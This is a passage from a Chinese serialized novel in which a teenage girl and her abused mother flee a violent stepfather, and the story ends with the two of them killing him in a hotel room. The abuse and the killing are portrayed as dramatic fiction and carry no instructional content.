有订单,她就马不停蹄杀鸡烫鸡洗鸡,没订单,就把习题册拿出来,自己在那写。 学校的生活她喜欢,学习很有趣,店里的生活她也喜欢,虽忙碌,但充实,闲下来还可以做自己喜欢的事。 这两个地方都好,比她现在那个家好。 担心妈妈发现,她每天下班回家之前会把鞋子仔细擦洗干净,店里好多鸡毛和水,还有血,她的鞋总是踩得脏兮兮。 钱多多给了她一瓶两元店的桂花香水,说可以遮盖味道,她喷一点在手腕,搓热了往脖子上蹭。 “香水是这么涂的吗?”钱多多歪个脑袋在一边看,学她。 “妈妈就是这么涂的,说用体温发酵,味道会更好。”江有盈闻闻自己,皱了下鼻子,不太能分辨出是什么味道。 晚上回家,妈妈拉着她的手,“你怎么又香又臭的,你一整天跑哪里去了?” 她们母女的房间在这栋房子的最顶层,江有盈拉着妈妈要进电梯,王志刚的两个小儿子呼喊着从大门口冲进来,朝她后腰用力推了一把,险些把她推倒。 “强强你不可以这样,怎么能推姐姐。” 沈弦月上前拽了那小男孩,要跟他理论。 “我呸!”小孩噘起嘴朝她脸上吐口水。 沈弦月本能往后躲了下,幸好,有丝巾为她遮挡。 她不依不饶,把小孩从电梯里拖出来,要教训他,小孩一点也不怕,喊了哥哥,两个男孩将她包围,拳乱打,脚胡踢。 她摔倒在地,两个男孩冲进电梯,嘴里脏话还没完,学大人,骂她“表子”。 这两个男孩是王志勇他弟的孩子,王志勇是江有盈她后爸,也是她亲爸在世时的好友。 江有盈起初不同意妈妈改嫁,王家确实有钱,可那姓王的长得贼眉鼠眼,一看就不是什么好东西,来家里做客,总盯着妈妈看。 但沈弦月坚持要嫁,说为了她好。 结婚之前,姓王的指天发誓,说要如何如何待她们好,结婚之后却变了个人。 带孩子的寡妇在婆家本就不受待见,王志刚几个兄弟媳妇更是难相处,姓王的不说护着她们,三天一小大,五天一大打,日子倒比没钱的时候更难过。 江有盈来之后也跟他们打过几架,结果如何,她们终究是外人,没人向着她们,她打架打赢了,却是妈妈受罚,最后连小孩都敢欺负她们。 江有盈弯腰把妈妈搀起,去按电梯,“你不用替我打抱不平的,我早就习惯了。” “那不行,大人管不了,小孩总能管一下的。”沈弦月态度坚持,“到时候我找你爸爸说一下,让他们收敛一些。” “我爸早就死了。”江有盈伸手想把她弄脏的丝巾摘下来,她本能往后躲了下,抬手遮挡,被打怕的样子。 江有盈把脸转到一边,手揣进校服外套。 “你去干什么了?”沈弦月凑过来闻,想问她这几天跑哪儿去了,怎么不上学,恍然回忆起葛老师的叮嘱,话憋回去,小包里摸出纸巾,擦丝巾上的口水。 江有盈使劲按了几下电梯,没反应,“两个小杂种,肯定把电梯卡住了。” 她们只能爬楼梯上七楼。 沈弦月在她身后叮嘱,“你说话还是得小心点,让人听见,又要骂你。” 回到住处,用力把门摔上,江有盈难得发了脾气,书包扔地上,“我真不明白,我们为什么一定要这样,为了几个钱,跑来别人家里当受气包!” 她话音刚落,王志勇从房间里走出来。 他个头不高,轻微脱发,大腹便便简直就是只没完全化形的猪妖,沈弦月急忙上前安抚,身段婀娜高挑,在他身边说鲜花插在牛粪上都是赞美。 “我供你吃供你喝,供你上学,以后你嫁人还要给你准备彩礼钱,请问哪点对你不住?” 王志勇步步紧逼,一张油腻的胖脸怼她面前。 江有盈厌烦后退,扭头一言不发。 “孩子不懂事,别跟她一般计较了。”沈弦月连连为他抚胸顺气,“你饿了吗?我给你做几个小菜吧。” 这头蠢猪倒是很容易被哄好,骂骂咧咧走了。 洗完澡,一身骚烘的鸡毛味儿和闷人的香水味儿都没有了,她的睡裙干净柔软,裙摆位置还有一圈精致的刺绣。 她从书包里取出习题册,书桌上写,房门轻轻被敲响,三长一短,是她们母女之间的暗号。 搁下笔,江有盈起身去把门打开,沈弦月洗过澡了,丝巾摘下,她额头左侧高高鼓起,眼周小块淤青,周身一股辛辣的药油味。 回到床边坐下,江有盈抓了个抱枕在怀里,下巴抵着,眼眶热热,要哭不哭。 沈弦月拉起她手,摸到指腹位置细小的刀口,“再忍忍就好了。” “还要忍多久!我才十五岁,还要升高中,考大学,你能不能活到那天都是未知。” 她手臂使劲擦了一把眼眶,“我不想忍了。” “我想给你提供好的生活呀,你为什么就不能明白妈妈的苦心。” 话没说几句,沈弦月开始掉眼泪,“你以为我不知道你在外面干什么,你是不是偷偷去打工了,家里又不是不给你钱花!” 江有盈一把甩来她手,腾地站起,“我不要那头死猪的钱,我自己会赚钱!” 她心里有了底气,说话也愈发放肆,“别说是为了我,承受不起你这么大的情,你喜欢待在这里,就一直待下去好了,等我赚够钱,我会离开。” “你要去哪里!”沈弦月一把将她捉进怀,“妈妈都是为了你,否则早跟你爸爸去了,没有你,我怎么活呢?你是妈妈的心肝宝贝啊!” 江有盈闷头在她怀中哭泣,喋喋一声接着一声,“妈妈、妈妈……” 第64章 今天的早餐是金黄脆香的菠萝包,趁妈妈给她找袜子,江有盈多拿了一盒牛奶装进书包。 沈弦月假装没看到,叮嘱她把秋裤塞进袜子,免得脚踝钻风。 江有盈坐在床边,秋裤挂在小腿那,她手伸进校服裤子里掏。 沈弦月回头,无奈叹息道:“都跟你说过多少次,穿好袜子再穿外裤,秋裤就不会跑了嘛。” 她屈膝半跪在地,给女儿穿好袜子,手掌隔着棉质秋裤捏捏她软软的小腿肚,抬头展露笑容。这样无微不至的照顾,使她内心得到满足,似乎这就是自己活着的全部意义。 背上书包,打开房间门,江有盈紧紧牵着妈妈的手,想告诉妈妈,其实她早就不去学校了,她已经开始赚钱,不会成为妈妈的负担。 一抬头,见王志勇笑呵呵站在大门前,面上笑容消失。 王志勇搓着手朝她走来,“满满周天还上学呐,我说今天开车带你出去玩呢。” “要升学了,周天补课。”沈弦月倒先开口替她掩护。 “哦哦,是,要考高中了。” 他用力一拍大腿,“我这脑子!”又伸手想摸她头。江有盈后退,厌烦躲开。 “还记恨我呐。”王志勇应该是知道昨晚电梯口发生的事了,兜里摸出二百块钱塞给她,“都是爸爸不好,爸爸疏忽了,以后保证不对你大呼小叫,好不好?就原谅爸爸一次吧!” 他总这样,当着自己父母兄弟的面,从不把她们当人看,抿一口酒,说“女人就是得打,不打不老实”,威风得不得了。 下了桌,关上门,又极尽谄媚讨好,甚至跪地磕头,请求原谅。 江有盈起先也着了他道,以为他真会对她们母女好,只是要面子。 现在她看清了,他就是个人渣,畜生,彻头彻尾的败类。 江有盈没伸手,那两百块钱掉在地上,王志勇当即变了脸色。 他常年酗酒,眼球外凸,布满血丝,嘴唇是肮脏的猪肝色,只是眼角眉梢的细微差异,那张紧绷的伪装的皮逐渐绽裂,露出其下挂满腐肉沾血的獠牙,恨不得将她撕成碎片。 “满满!”沈弦月晃她手臂,目光哀求。 换作从前,江有盈绝不要他的臭钱,还要抬腿大力踩上两脚。 现在她想开了,那是钱,再脏也是钱,是她一个多星期的工资,数不清要杀多少只鸡,脏水里泡多久才能挣够。 她飞快弯腰捡起,逼着自己一个字一个字道出感谢。 “好好好,好孩子。”王志勇霎时喜笑颜开,“不耽误你了,赶紧上学去吧。” 乘电梯下楼,江有盈在大门口跟妈妈挥手分别,照例转两趟公交,坐十三个站去农贸市场。 活鸡店门前,钱多多像只脏兮兮的小哈巴狗,一见人立即摇着尾巴凑上去,“今天有什么好吃的呀!” 她替她接过书包,“总担心你不来了,没被你妈发现吧?” “我也不知道,她早上没问我……” 江有盈打开书包,惊奇发现,妈妈竟然为她准备了两人份的菠萝包。 妈妈发现了吗?她回头望。 太早了,市场还没什么人,卖菜的小贩还没来,到处黑黑的,空空的。 “哇塞,这不会是传说中的菠萝包吧!港片里那种!”钱多多咬下一口,用尽全力咀嚼,闭上眼睛认真感受味道。 “好好吃!好好吃!” 江有盈回头冲她笑笑,牛奶递过去,“你慢些,别噎着。” 沈弦月打车一路跟过来的,她躲在一家卖水产的大玻璃缸后面,看她娇养了十几年的宝贝女儿,系着黑色的*胶皮大围裙,从鸡笼里提出一只活鸡,利落宰杀放血,烫毛,才几天时间已经做得那么熟练。 满地污水横流,不慎滴落的鸡血弄脏她鞋面,她手臂擦过额头细汗,站得久了,轻轻地跺跺脚,捶捶腰,缓解疲乏。 她好多事要忙,洗好的鸡用喷枪燎一遍碎绒毛,还要开膛破肚。水和血飞溅在她稚嫩的小脸,她咬紧了牙,手背擦脸,却越弄越脏。 好难过,好自责,沈弦月恨自己没用,拳捶打心口。 眼泪湿透手帕,她摘下墨镜,蹲在毛乎乎的大玻璃缸后面,“呜呜”哭出声来。 “你干啥呢?”卖水产的大哥来了,探头探脑,十分不解,“哭啥呢。”他弯腰去看鱼缸,“没死啊,好好的。” “对不起。”沈弦月起身,帕子洇干脸上的泪,重新戴好墨镜,朝着活鸡店走去。 钱多多歪在躺椅吃完最后一口菠萝包,正嗦手指,“来客人了满满。” 江有盈抬起头,那声“你好”像刀片卡在喉咙。 沈弦月抓着钱多多的手,哭着说:“她今天早上出门的时候我还帮她穿袜子,她没吃过苦,她做不了这种事情的,你快不要让她干了……” 江有盈手里拎一把尖刀,呆坐在红色塑料板凳,鸡血干在手背,紧绷的。 “大姐,麻烦你搞搞清楚,是她自己找上门来的,不是我去大街上绑来的,你跟我说这些有什么用呢?” 看在那些菠萝包的份上,钱多多还算有耐心,“你应该反省下自己,她为什么会这样,放着好好学不上。” 沈弦月急忙忙抓了江有盈手里的刀扔去一边,拉她到池子边洗手。 那池里也满是鸡毛和血,还有黄色的鸡油和盘虬在一处的鸡肠,鼓囊囊塞满玉米的鸡肚。 她手伸出去,虚空中蜷缩起,又收回,猛地拽了一把,“我们回家!” 江有盈往回挣了一下,喊“妈”,屁股往后撅,全身的力气抵抗。 沈弦月哭着跺脚,“满满!你不要让妈妈伤心!” “我不要回去。”江有盈很冷静,不哭不喊,也不愿同她争吵。 她一根一根掰开妈妈的手指,“所以你都看到了,我并没有你想象的那么弱,我可以赚钱养活自己,我已经长大了。” “江有盈!” 沈弦月情绪激动,气头上恨不得甩她两巴掌,打醒她,“你太让我失望了!” 可怎么舍得,她手掌细细抚摸孩子冰凉的小脸,“你要妈妈怎么办好啊——” 江有盈“噗通”跪倒,膝盖重重砸在泥水纵横的白瓷砖,眼眶含泪,哀伤乞求: “妈妈,我们走吧,离开这个地方,离开那些讨厌的人和事,离开你的伤心地。我们会有好的生活的,我会努力赚钱,养活自己也养活你,好吗?求求你了。” 她紧紧握住妈妈的手,感受其掌纹中流淌的深沉爱意,“我知道,妈妈所做的一切都是为我,可我不要再过寄人篱下的生活了,也不愿看你为我委曲求全,为我伤痕累累。” 她抬起头,眼泪大颗滚出,“妈妈。” 沈弦月不忍地别过头,当着外人的面,她脸皮火辣辣疼,心也片片刀割似的疼。 她喊“起来”,江有盈不为所动,她半天拽她不起,索性也给她跪下,“满满,你这是要逼死妈妈呀。” 这怎么会是逼死她呢? 江有盈疯狂摇头,“我没有,我只是在为我们求一条活路。” 她摘下妈妈的墨镜,染血的指尖小心翼翼抚摸眼周未散的淤青,“再这样下去,你迟早有一天会被他打死的,那我就真的没有妈妈了,你有没有想过,到那一天我该怎么办?” 沈弦月把头埋进女儿的臂弯,不愿让人看到她的狼狈。 她沉默了,她不敢想,假若将来真有那么一天,豺狼窝里,她的孩子该如何过活。 母女俩抱头痛哭,最后还是钱多多把她们搀扶起,拉到里面那个小隔间。 房间壁纸蜷曲脱落,天花板霉痕斑驳,钨丝灯明明灭灭,光线昏暗,沈弦月手帕掩鼻,东张西望。 江有盈拉她坐在小床边,目光坚定,“即便我们以后都住在这里的房子里又怎么样呢?只要我们还活着,平平安安的,健健康康的,不用担心突然有人闯进房间一顿毒打,心灵是富足的,安宁的,那就足够了。” “再说,只有我们努力,靠勤劳的双手日子一定会好起来的,多多姐跟我说了,妈妈你的手艺很好,小学校门口摆摊就能赚很多钱的。” 江有盈再一次恳求她,“我们跑吧!” 沈弦月犹豫不定,“你真的下定决心了吗?你不上学了?” 江有盈不打算上学了,但为让妈妈安心,她承诺,“等我们安顿好,我会重新回到学校,上高中,考大学,等我大学毕业,妈妈就能真的享福了。” 她一把抱住妈妈,小脸扬起,眼睛亮亮的,“我会好好学习,落下的功课都能补上,我是班长呢,妈妈你忘啦?” 这是个懦弱的女人,离了丈夫和女儿,好像就不能活,生活中没别的事可做,即便是她最爱的烹饪,也只是为了女儿能享受到健康新鲜的食物。 她想了又想、想了又想,禁不住劝,终于肯点头。 可她心中顾虑的,跟自己毫无关系,只是女儿的意愿,关乎她未来,心理健康,甚至性命安危。 “我们跑去哪里呢?”沈弦月完全没个主意,“万一被抓到怎么办。” “那就跑得远远的,让那些人找不到!” 钱多多掀开帘子,探进个脑袋,“现在最关键,是把家里那些金项链金戒指全偷出来!还有手机啥的,反正值钱的都带上。” 她搓搓手指,“有钱,心里才不慌。” 江有盈后来无数次想,逼着妈妈逃跑,到底是对还是错。 如果她当时没那么冲动,如果她乖乖听妈妈的话,再忍耐几年,妈妈是不是就不会死了。 第65章 江有盈在活鸡店打工正好一周,工资是一百六十三块,钱多多凑了个整,两张红的塞给她,“我也吃了你那么多小点心,就当伙食费。” 江有盈摇头推辞,“那你还请我吃牛肉面呢,加很多料的牛肉面。” 她看向妈妈,眼神示意找零。 沈弦月今天很听女儿的话,立即翻包。 “哎呀哎呀!”钱多多气得跳脚,“你们烦死,赶紧走行不行,就当我支持你们跑路出的车费了。” 这么说,江有盈没法拒绝了,钱卷成细细一小管,揣进校服裤子,用力拍两下。 她甜甜笑,“那我们可以成为朋友吗?等安顿下来,我给你打电话。” “当然没问题。”钱多多掏出手机,“你说我打过去。” 交换了电话,江有盈背起书包,决定跟妈妈先回住处收拾东西。 为省钱,回家就不打车了,搭公交。她们并坐在公交后排,双手紧紧牵在一起,天气很好,太阳穿透车窗玻璃晒在半边身子暖洋洋。 沈弦月不时举起女儿手来闻,“还是一股鸡毛味儿。” 江有盈自己也闻了下,皱皱鼻子,靠在妈妈肩膀撒娇,“回去洗澡就好了。” 快到住处的时候,沈弦月说,她想到要去什么地方了。 “回老家吧,我出生的地方。”岁月磨平棱角,她早已失去了年少时那股天不怕地不怕的莽劲儿。 “人生地不熟,去外地人家说方言我们也听不懂,老家几十年没回去了,去看看你外婆的坟。” 妈妈今天已经很勇敢了,江有盈轻点头,“先离开。” 不巧,在大门口,她们遇见了葛老师。 “哎呀,班长同学,这阵子你跑哪里去了,害得我们好找……班长妈妈,你在哪里找到她的呀。” 沈弦月心尖一跳,想给她打手势,已经来不及,王志勇朝着她们走过来了。 葛老师今天第二次家访,是王志勇接待的她,事情经过已经清楚。 他装得一副好爸爸面孔,“你干嘛不去上学?是不是跟外面那些野小子鬼混去了?辛辛苦苦供你上学,你不学好!你对得起你亲爸的在天之灵吗?!” 他劈手便要打,葛老师及时拦下,江有盈毫无所惧,死瞪着她。 “你还敢犟!我没资格教训你吗?你再不认我,我也是法律名义上的爹!” 王志勇气极的样子,面对葛老师,说平日待她如何如何,买这买那,小心翼翼,当真不是自己亲生,管教不得。 沈弦月只怪自己事先没跟老师谈妥,事情瞒不住,也不能说孩子去打工,“在黑网吧找到的,迷上电脑游戏了。” 她上前柔声安抚,说替孩子隐瞒也是担心她受到责罚,“现在把她劝回来了,就不要再说她,这次月考,分数没掉,说明她心还是在学习上的。” 江有盈最受不了妈妈跟人低声下气,偏偏今天她一句反驳不得,只好忍耐,厌烦闭上眼睛。 “你看她那个样子!” 王志勇面涨红,满脸横肉狰狞,“不是个姑娘,我早打死了。” 江有盈睁开眼,冷笑一声,“说得你少打女人了。” 这一句,等同水入沸油锅,王志勇暴跳如雷,不是在家门口,大马路边,还当着葛老师的面,保不齐要给她两巴掌。 “满满,少说两句!”沈弦月严肃警告她,不要在这种时候横生事端。 江有盈很多时候觉得没必要忍,她们住在王家,就是因为太能忍,太会忍,才一直受人欺负。 要走了,所以她决定不再忍耐,丢下书包冲上去。 楼下打架,王家人全赶来了,王志勇她妈说,姑娘打老子,是当妈的没教好,必须家法伺候。 王家的家法,就是要女人跪在地上,用皮带抽后背,抽小腿。那天若不是葛老师及时报警,江有盈肯定她们会被拖进房子里打死。 警察来,把一帮人带到派出所,王志勇慷慨激昂,她无力再同他争辩什么,混乱中不知道被谁踹了一脚,小腹剧痛。 她捂着肚子坐在调解室的塑料板凳上,沈弦月发现她不对,急忙向警察求救,恳求让她们去医院。 王志勇含糊了几句,摆摆手,“算了警察同志,本就是家事。” 男人打老婆,大人打小孩,都是管教,是家事,最后不了了之。 幸好,王家人没发现她们逃跑的意图,只有葛老师陪她们去医院。 等报告的时候,沈弦月出去卖掉了自己耳朵上那对金耳环。或许,她也想过逃跑的事,身份证和银行卡时时装在小包,如今手里又多了些现金,不慌。 计划有变,好在这些变化还在掌控之中。 江有盈肚子痛,倒不全是因为被踢,她月经来了。 沈弦月超乎寻常的冷静,买卫生巾和止痛药,以及路上的干粮和水,大包小包拎着出了医院,跟葛老师道别,当即打车去了客车站。 那天,她们竟然很顺利跑掉了,跟着妈妈慌慌乱乱挤上大巴车,江有盈十分惊奇。 不知是止痛药发挥了作用,还是心里高兴能跑掉,她肚子马上就不痛,一直把后座男人的脚臭当作油锅爆香的豆豉。 “是谁带了回锅肉。”江有盈捂着肚子小声问妈妈。 沈弦月先是愣了下,随即示意她看身后。 江有盈好奇回头,然后翻了个白眼,扯袖捂鼻。 沈弦月用超市的购物袋挡着,揭开她外衣查看伤处,手轻揉两下,“还疼吗?” 疼,但江有盈摇头,“完全没感觉啦!” 那天她们真的跑掉了!大巴车上省道的时候,江有盈一颗心快要飞起来。 她没怎么出过远门,一直大大睁着眼睛看窗外,陌生的山景,遥远的天际,外面的世界原来那么美,花全开了。 她指着山上那些树,问妈妈,这是什么花那是什么花,妈妈有些能答上来,有些太远了看不清。 江有盈放松身体依偎着妈妈,“我应该再勇敢一些的,这样你就不会受苦了。” 继而反思,“今天是我太冲动,我以后不会这样了。” 沈弦月心疼她的早熟,“妈妈没用,没护好你。” 决定从医院逃跑,是担心女儿再回到那个家,免不了一顿毒打。什么事,她都是先紧着女儿,从没考虑过自己。 回老家,想着那边还有些亲戚,把脸抹了揣裤兜,实在活不下去,找亲戚借钱先应付着,不至于两眼一抹黑。 她总是这样,把自己想得太没用,把人想得太好。 善良的人,在这世上总是活得更艰难些。 大巴车摇摇晃晃,江有盈起先晕车晕得厉害,胃里吐空,到后来只是昏睡。 但每一次大巴到服务区,沈弦月还是把她晃醒,下车去换卫生巾,想让她身上舒服点。 她蹲在卫生间,袖子捂鼻,小腹隐隐作痛,可心里很高兴。 收拾好自己,她打开门出来,看妈妈抱着衣服在外面等,洗手的时候又从镜子里看到自己,她们都在笑。 车开了一个下午又一个晚上,早上八点大巴到站,她们下车,在附近的早餐店吃豆浆油条。 这地方江有盈小时候跟妈妈来过,但早就不记得,这几年变化也挺大的,她看什么都觉得新鲜,胃口不错,还喝了碗肉粥。 出来没带行李,沈弦月去商店给两人置办了身新衣裳,然后找了家旅馆,决定先休息。 江有盈洗完澡躺在床上,身上香香的,胃暖暖,肚子也舒服多了。 沈弦月找旅馆老板借洗衣机洗了衣裳,回来掀开被子躺上床,江有盈立即钻进妈妈怀里,闭上眼睛说“好幸福”。 电视里在放动物世界,自然界中,母豹母狮之类都是独自抚育后代,直到幼崽成年可以独自狩猎。 她们即将分娩的时候,甚至会主动离开族群,她们从不依附任何雄性。 太累了,江有盈窝在妈妈怀里睡着,沈弦月伸出手,抚过她面颊柔软碎发,在她额头轻轻落下一吻。 电视声调小,沈弦月转过脸,看母豹将幼崽藏于巢穴,独自外出觅食。 那时候她们都以为,逃掉就好了,以后日子会好起来的,只要母女俩同心协力,只要她们还活着。 却不知王志勇是怎么找到她们的,在她们即将离开旅店的那个上午。 完全没想过这种可能性,还以为是妈妈收衣服回来了,房门被敲响,江有盈问也没问,蹦跳去开。 门开启的瞬间,江有盈脑袋“嗡”一声,再想关门已经来不及,王志勇一条腿伸进门里。 没喊,也没跑,江有盈退后几步,让他进房间,或许是想通她们永远也没办法跑掉。 她看着他,手心热热的,黏黏的,心中产生一个奇怪的念头。 第66章 老家不在市里,在县份上,她们今天退了房,还得乘五六个小时的大巴才能到。 江有盈坐在床边自己乖乖穿了袜子,听妈妈的话用袜子把秋裤包着再穿外裤。 其实到老家这边,三月中旬已经没那么冷了,但猛一下穿单裤还是有点不习惯,两条腿空荡荡凉嗖嗖的。 而且她还来月经了,得保护好肚子,不能着凉。妈妈说的。 妈妈出去拿衣服,说旅馆有那种专门烘床单的机器,花点钱请他们烘一下衣服,几分钟就好。 没什么事干,江有盈自己跑去梳头,旅馆的梳子不好用,梳齿扎头皮,她技术也不怎么样,马尾松松垮垮,后脖子那垂着长长一绺,自己都没发觉。 敲门声响,江有盈欢呼一声,还以为是妈妈回来了,跑跳着去开。 “妈妈!我想吃昨天楼下……”路过看到的炸酱面。 怎么是王志勇,她脸色唰一下白了,想关门已经来不及,王志勇一条腿伸进来卡在门框。 他怎么找到她们的?在她们身上、包里装定位了?还是一路打听来的? 不管因为什么,现在都不重要了。江有盈退后几步,让他进房间,手心没出汗,却感觉覆了层黏黏的东西。 王家人根本不重视她们,才不管她们跑不跑,少两张嘴吃饭更是求之不得。 只有王志勇,爸爸还在的时候,他看妈妈的眼神就很不对劲,爸爸没了,他怕是半夜做梦都笑醒。 其实妈妈本不愿改嫁,是他软磨硬泡,甚至威逼利诱,指天发誓是爸爸临死前托付他。 结婚之前,他极尽殷勤,送钱送礼,爸爸葬礼跟着忙前忙后,结婚之后却被妖怪夺了舍一样,阴晴不定,喜怒无常。 江有盈时常怀疑他精神分裂。 王志勇进了房间,满屋转悠,江有盈赶紧往窗边跑几步,探头往外看。完了,十几层高。 没找到人,王志勇一屁股坐沙发上,歪着半边身子,从屁兜里摸出把刀扔在玻璃桌上,“你妈人呢?” 江有盈看着那把刀,妈妈切水果用的,他从家里带出来了。 难道是她们坐车的时候被人看见,打电话给王志勇告密?他刚好在家,直接拿着刀出来。 所以,不过一夜时间就追赶上她们。 王志勇摸出根烟点,“没事,你还在,你妈跑不了,你是她的心肝宝贝嘛。” 江有盈从床的这头翻到那头,想摸过去把门关上。 她不跑,既然他不打算放过她们,她也不想放过他。 王志勇察觉到她意图,起身拎张板凳过去坐门口守着。 江有盈从床边挪去小沙发。 “咱俩虽然没有血缘,可你也是我看着长大的,你出生,满月,我都随了份子,压岁钱也年年不落。你小时候还叔叔长叔叔短的,从上初中以后,完全变了!后来你爸没了,我们有缘分做父女,你对我还是爱答不理。” 王志勇说他真就想不明白,“我哪点亏待你们母女了?一个阳奉阴违,心里还惦记着那死男人,一个成天拿眼睛斜我,多瞧不起我的样子……” 他猛踹一脚门,骂她们小的贱货,大的表子,都是养不熟的白眼狼。 江有盈一声不吭,轻轻抓起玻璃桌上那把水果刀,握在身后。 他拿刀吓唬她们,忒不把人放在眼里。 沈弦月远远听见走廊尽头传来男人的咆哮,心咯噔一下,加快脚步。 她没细想他是怎么追来的,“噗通”就给他跪下了,抱住他小腿,“勇哥,我错了,是我们错了。” “妈你干什么!你起来!” 江有盈气得直跺脚,她怎么那么没出息!轻易就给人磕头下跪。把刀扔在沙发,她跑上去使劲拽她,“你干什么,你起来别给他下跪!你有点骨气行不行!” “孩子冲撞了你,是我没教好,我只是担心她受罚,你知道的,她对我来说有多重要,我舍不得她受一点委屈,真的。” 烘洗干净的衣裳还搂在怀里,沈弦月不舍得弄脏,丢到床上。 江有盈跟在她身边,扯着她衣领子用力想把人提起来,“人家骂你贱,你就真把自己当个贱人,你干嘛给他下跪,你起来啊——” “给爸爸认个错吧。”不知是被打怕了还是心里别的什么顾虑,沈弦月像被人一下抽去脊梁骨。 “满满,我们走不掉的,你有没有想过你的学籍怎么办?妈妈怎么舍得让你去外面打工。” “你怎么这样啊,明明我前一天才说好的。”江有盈眼泪扑簌扑簌掉,又生气,又伤心,“你太懦弱太没出息了,我答应我要勇敢的。” 她对她失望透顶,却还是不能将她独自撇下,她是她身上掉下来的肉,她们的命运始终拴系在一起。 “你怎么这样,怎么能这样,你太让我失望了!”江有盈尖声大叫,扯拽她疯狂摇晃。 “你也别怪你妈,你妈都是为你了。”王志勇回头去把门关上。 江有盈无话可说,心里只有恨,像火一样烧,烧得她浑身血发热,手发抖。 王志勇抽出皮带,要罚,沈弦月不再反抗,乖乖把自己缩成一团。 江有盈跌坐在小沙发,看她咬牙一声不吭,眼睛突然什么也看不见了。 目下漆黑一片,唯有女人压抑的低泣和忍痛的闷哼。 江有盈双手抱头,跪坐在脏兮兮的红绒地毯,她不禁怀疑,自己究竟是不是这人生的,在医院抱错了吧。 她们一点也不像。 说什么为了她好,却从来不顾她感受,甘愿忍受欺凌。 王志勇骂得没错,她真就是贱骨头,贱到根儿了。 江有盈满心失望愤慨,心中甚至有个恶毒的念头,王志勇干脆把人打死。 打死沈弦月,她就可以自己跑掉。沈弦月根本就是她的拖累!她的负担! 头好痛,快要爆炸了,江有盈恨不得现在就走,现在就背着书包出门! 可那是妈妈呀,妈妈给她穿袜子,给她梳头,早晨温柔叫醒她,摸摸她的脸说“我的小宝睡得真香呀”,然后扶她坐起,为她穿衣。 ——“妈妈的心肝宝贝呀。” ——“妈妈最爱你啦!” ——“妈妈只有你了。” 她是妈妈活着的唯一指望,妈妈为她受尽人间苦楚。 该死的不是妈妈,是把她们逼入绝境的真正的罪犯! 江有盈摸到小沙发上那把刀。 她扑上去,像杀鸡那样,做熟了的,一手抱住他头,拔高颈,另一手反握了刀,从右往左横着猛地那么一道。 血喷出来,满手黏。 人不会一下就死掉,本能松了手,捂住受伤的脖颈,不可置信回头,双目大睁几乎爆裂。 所有的力气在瞬间抽空,刀落,江有盈疾疾后退几步,跌坐在地。 血如泉涌原来真不是夸张说法,她什么也听不到,感受不到,眼前只有男人腔子里那汪红色的血。 热的,黏的,泛着腥气,长了腿一样流向她。 忘了躲,也是退无可退,她任由血色污染衣裤。 好奇伸手触碰,那血竟还热着,她吓了一跳,才意识到自己做了什么,用力甩,衣上揩。 她急得直哭,喊“妈妈”,沈弦月爬到她身边,将她纳入怀中,连连拍背安抚。 “别怕,乖宝别怕,妈妈在呢。” 王志勇还在抽抽,喉咙里发出“呜呜”的声音,血从嘴巴里咳出来,流进耳朵里。 他还有力气,没死透,还想爬起来,沈弦月扭过头,爬跪至他身边,抓起刀,咬牙朝他心口用力扎下。 血溅得满脸,分不清究竟是谁的,他曾经落在女人身上的拳脚,终是化作尖刀刺向自己。 人世间,善恶报应,如影随形。 一下、两下、三下…… 直扎得他再也不动,双眼大睁,不能瞑目,死瞪天花板,眼球变得僵硬浑浊。 沈弦月扔了刀,长吐出一口气,擦把脸上的血,变了模样,不再是方才向人磕头求饶的可怜样子。 “我把他杀死了,是我把他杀死的。”她如此说道。 江有盈呆呆看着她,她转过脸来,笑了两声,“乖乖,去洗澡吧,听妈妈的话,好好洗个澡。” 她把孩子推进浴室,带血的脏衣脱下来丢进水池,玻璃门拉上,“别担心,妈妈会想办法处理好一切,你先洗澡。” 江有盈乖乖点头,看妈妈就在玻璃门外给她洗衣服,心里没那么害怕了,水流下用力搓洗手掌。 迟钝转动眼珠,沈弦月抬脸望向镜里的女人,长发蓬乱,手轻轻一抓,掉一把,她鼻孔还不断往外滴血,水池里一圈一圈的红莲。 她洗了把脸,卫生纸堵住鼻孔,手背上的伤浸在凉水里,刺骨疼。 头发重新扎好,孩子的衣裳晾在卫生间沥水,她把小包里的银行卡、现金和户口本转移到孩子的书包。 最后,她把杀人的刀捡来,洗洗净,手在刀柄处使劲捏了几下,又捏了几下,放回原位。 回头去看地上躺的男人,她皱了下眉,胃里突然一阵恶心,像做了个梦,才醒,不知道自己当时怎么想的。 好了,好了,现在一切都搞砸了。 “妈妈,我洗好了。” 江有盈在浴室里喊。她打开玻璃门,湿淋淋站在那,蜷缩着身体,手臂紧紧抱住自己。 沈弦月用浴巾裹了她,为她轻柔擦拭,半开玩笑的语气,“宝宝吓坏了吧。” 江有盈说不出心里是什么滋味,害怕当然有,但也没那么怕。 她扬起脸,“妈妈,我会坐牢吗?” “不会。”沈弦月给她吹干头发,换了身干净衣裳,书包背上,“你下楼打个车去火车站,随便买什么地方的票,看地名挑个自己喜欢的。总之先走,到那边租个房子,安顿好给妈妈打电话。” 江有盈稀里糊涂被推到门口,手拽着她袖子不肯松,“那你怎么办?”屋里还躺着个死人。 “我会处理好。”沈弦月回答。 江有盈问打算怎么处理,沈弦月只是看着她,冰冷的手掌遍遍抚摸她柔软的脸颊。 “是我太没用了,妈妈太没用了。”眼泪颗颗地掉,沈弦月不住去亲她脸,用尽全身的力气拥抱她,“都是我的错,你不要怪妈妈。” 江有盈意识到什么,“人是我杀的,你不要替我顶罪。” “不会,不会。”沈弦月手背擦泪,摸她的脸,摸她的头发,“你先去火车站买票等我,我洗个澡,收拾收拾就来,这次听我的好吗?” 江有盈眼睛睁得大大,不解看着她,“我们为什么不一起走。” 那天妈妈跟她说了很多,江有盈好些都记不得,最后不知如何被说服,真的打开房间门出去,背着书包下楼。 她心里发愁的是怎么买票,这次又要买到哪里去。 她好像有些神志不清,忘记之前都发生了什么,在幻想跟妈妈逃到一个很安全很漂亮的地方,她还能继续上学,妈妈弄了个小推车,在学校附近卖糕点。 妈妈做的糕点是最好吃的,学生娃都是饿死鬼投胎,放学不到五分钟就全卖空了。 她还给多多姐打了电话,多多姐搭火车来找她们玩,她们卖完了糕点去逛公园,像小时候那样。 江有盈背着书包走到楼下,看到妈妈站在窗口冲她招手,让她快去。 她用力点头,然后开始跑。 却不知怎地,眼泪开始涌出来,她心里酸酸胀胀,也许是意识到以后再也见不到妈妈了。 她恨她,怨她,怎么把日子过成这样,又万分自责,都是因为她,妈妈才迫不得已委曲求全。 天底下哪个妈妈不爱自己的孩子,妈妈只是太爱她了。 她没错,她们都没错。 第67章 